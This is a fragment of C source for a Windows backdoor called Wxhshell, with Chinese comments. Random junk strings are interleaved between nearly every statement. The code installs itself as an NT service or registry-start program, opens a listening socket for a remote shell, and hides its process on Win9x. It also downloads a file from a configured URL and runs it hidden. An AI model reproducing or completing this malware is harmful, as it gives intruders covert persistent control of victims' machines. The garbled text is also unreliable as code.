0evZg@JP` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]qRz!D%@^ if(!hProcess) return 0; 3Ab$ 39eoL;O_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; emO!6]0gJ 3=I Q CloseHandle(hProcess); *~X\c Z xGPv3TLH^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IrM3Uh if(hProcess==NULL) return 0; C`K/ai{4 x7>sy,c HMODULE hMod; $OuA<- char procName[255]; @@&;gWr; unsigned long cbNeeded; dGN*K}5 .YbD.{]D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9r}}m0 $]86w8?-N CloseHandle(hProcess); =p:6u_@XWj T;7|d5][ if(strstr(procName,"services")) return 1; // 以服务启动 Yr@ @ty Ado>)c"*y1 return 0; // 注册表启动 <L0_<T } F"I@=R-n u]-$]zIH // 主模块 ='azVw%_ int StartWxhshell(LPSTR lpCmdLine) g}7%3D {
6zSN?0c SOCKET wsl; xNU}uW>>T BOOL val=TRUE; )Q`<O int port=0; :a2?K5 struct sockaddr_in door; E O^0sF< 0jq#,p=l; if(wscfg.ws_autoins) Install(); &3MHe$ ,;;~dfHm port=atoi(lpCmdLine); 54-x 14") NaIVKo if(port<=0) port=wscfg.ws_port; -lHJ\= /V~(!S> WSADATA data; Rp1 OC if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oz--gA:g a?dM8zAnc if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0td;Ag setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6Z 7$ZQ~ door.sin_family = AF_INET; b`'
;`*AN+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Mmn[ol door.sin_port = htons(port); ) PtaX|U ]d0Dd")n if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e3.TGv7= closesocket(wsl); .,4&/cd return 1; !&kOqc5:t< } >ObpOFb% S<44{
oH if(listen(wsl,2) == INVALID_SOCKET) { x<" e closesocket(wsl); gNJ\*]SY return 1; $kdfY'u }
FM5$83Q Wxhshell(wsl); - >2ej4C WSACleanup(); [(1O_X(M ;:OJQFu%4 return 0; x:(e:I8x( gDH x+"? } K4KmoGb 9%8T09I! // 以NT服务方式启动 W c nYD) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CwAl-o { a^N/N5-Z DWORD status = 0; [Z 1Eje X DWORD specificError = 0xfffffff; t{ 'QMX a v/=x serviceStatus.dwServiceType = SERVICE_WIN32; ie)Qsw@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7RO=X%0A serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d7@ N~<n serviceStatus.dwWin32ExitCode = 0; j_Fr3BWS serviceStatus.dwServiceSpecificExitCode = 0; w
^A0l.{ serviceStatus.dwCheckPoint = 0; 0kDT:3 serviceStatus.dwWaitHint = 0; S5;q)qz2J db`<E
< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9P]TIV. if (hServiceStatusHandle==0) return; p47~vgJN fK[9<"PC0 status = GetLastError(); IBR;q[Dj} if (status!=NO_ERROR) k,H4<")H { wvfCj6}S& serviceStatus.dwCurrentState = SERVICE_STOPPED; N24+P5 serviceStatus.dwCheckPoint = 0; ]HRE-g serviceStatus.dwWaitHint = 0; 0GB6.Ggft serviceStatus.dwWin32ExitCode = status; $*tuv? serviceStatus.dwServiceSpecificExitCode = specificError; %j'lWwi SetServiceStatus(hServiceStatusHandle, &serviceStatus); #ws6z`mt return; REa%kU } 79&Mc,69 YO=;)RA serviceStatus.dwCurrentState = SERVICE_RUNNING; \]^|IViIQ serviceStatus.dwCheckPoint = 0; ,y^By_1wS serviceStatus.dwWaitHint = 0; ,5q^/h if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t
;[Me0 } t.m
$|M> ivt\|
> // 处理NT服务事件,比如:启动、停止 !-: a`Vs+ VOID WINAPI NTServiceHandler(DWORD fdwControl) f+d{^- { >$}nKPC,Y switch(fdwControl) Z:'2puU+? { d(k`Yk8 case SERVICE_CONTROL_STOP: i+2J\.~U#G serviceStatus.dwWin32ExitCode = 0; 1 %*X,E serviceStatus.dwCurrentState = SERVICE_STOPPED;
X(bb1 serviceStatus.dwCheckPoint = 0; &Zov9o:gx serviceStatus.dwWaitHint = 0; :QN,T3i'/3 { \4V'NTjB SetServiceStatus(hServiceStatusHandle, &serviceStatus); GU!|J71z } G G7N!eZ return; seJc,2Ex case SERVICE_CONTROL_PAUSE: <>-UPRwqI serviceStatus.dwCurrentState = SERVICE_PAUSED; -i9/1.Z break; bju0l[;= case SERVICE_CONTROL_CONTINUE: S6cSeRmw serviceStatus.dwCurrentState = SERVICE_RUNNING; !\p-|51 break; Um%E/0j case SERVICE_CONTROL_INTERROGATE: |%$d/<<PZ break; l*h6JgU }; A+?n=IHh SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]t<%v_K } /+'@}u
| -5.>9+W8I // 标准应用程序主函数 j&8U:Q, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F|V?Z { ~]N%
{;F} 2PRGwK/ // 获取操作系统版本 ctj.rC)6n OsIsNt=GetOsVer(); j+ s8V-7( GetModuleFileName(NULL,ExeFile,MAX_PATH); u6I# D
_ C}45ZI4 // 从命令行安装 Rd 2* if(strpbrk(lpCmdLine,"iI")) Install(); 1V)0+_Yv =#8J9 // 下载执行文件 NAL%qQ if(wscfg.ws_downexe) { 5-n N8qs if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @w@rW
}i0 WinExec(wscfg.ws_filenam,SW_HIDE); wjpkh~qo } 7GKeqv .2OP>:9F if(!OsIsNt) { 0(teplo&P // 如果时win9x,隐藏进程并且设置为注册表启动 gJ2R(YMF HideProc(); RL($h4d9 StartWxhshell(lpCmdLine); G$ip Wi } ci,o'`Q else CKj3-rcF( if(StartFromService()) |`#[jHd // 以服务方式启动 Ie` `Wb= StartServiceCtrlDispatcher(DispatchTable); (Iu5QLE else =$fxK // 普通方式启动 O>H4hp StartWxhshell(lpCmdLine); \}Hk`n)Aq tw^V?4[Miu return 0; 5JQq?e)n }
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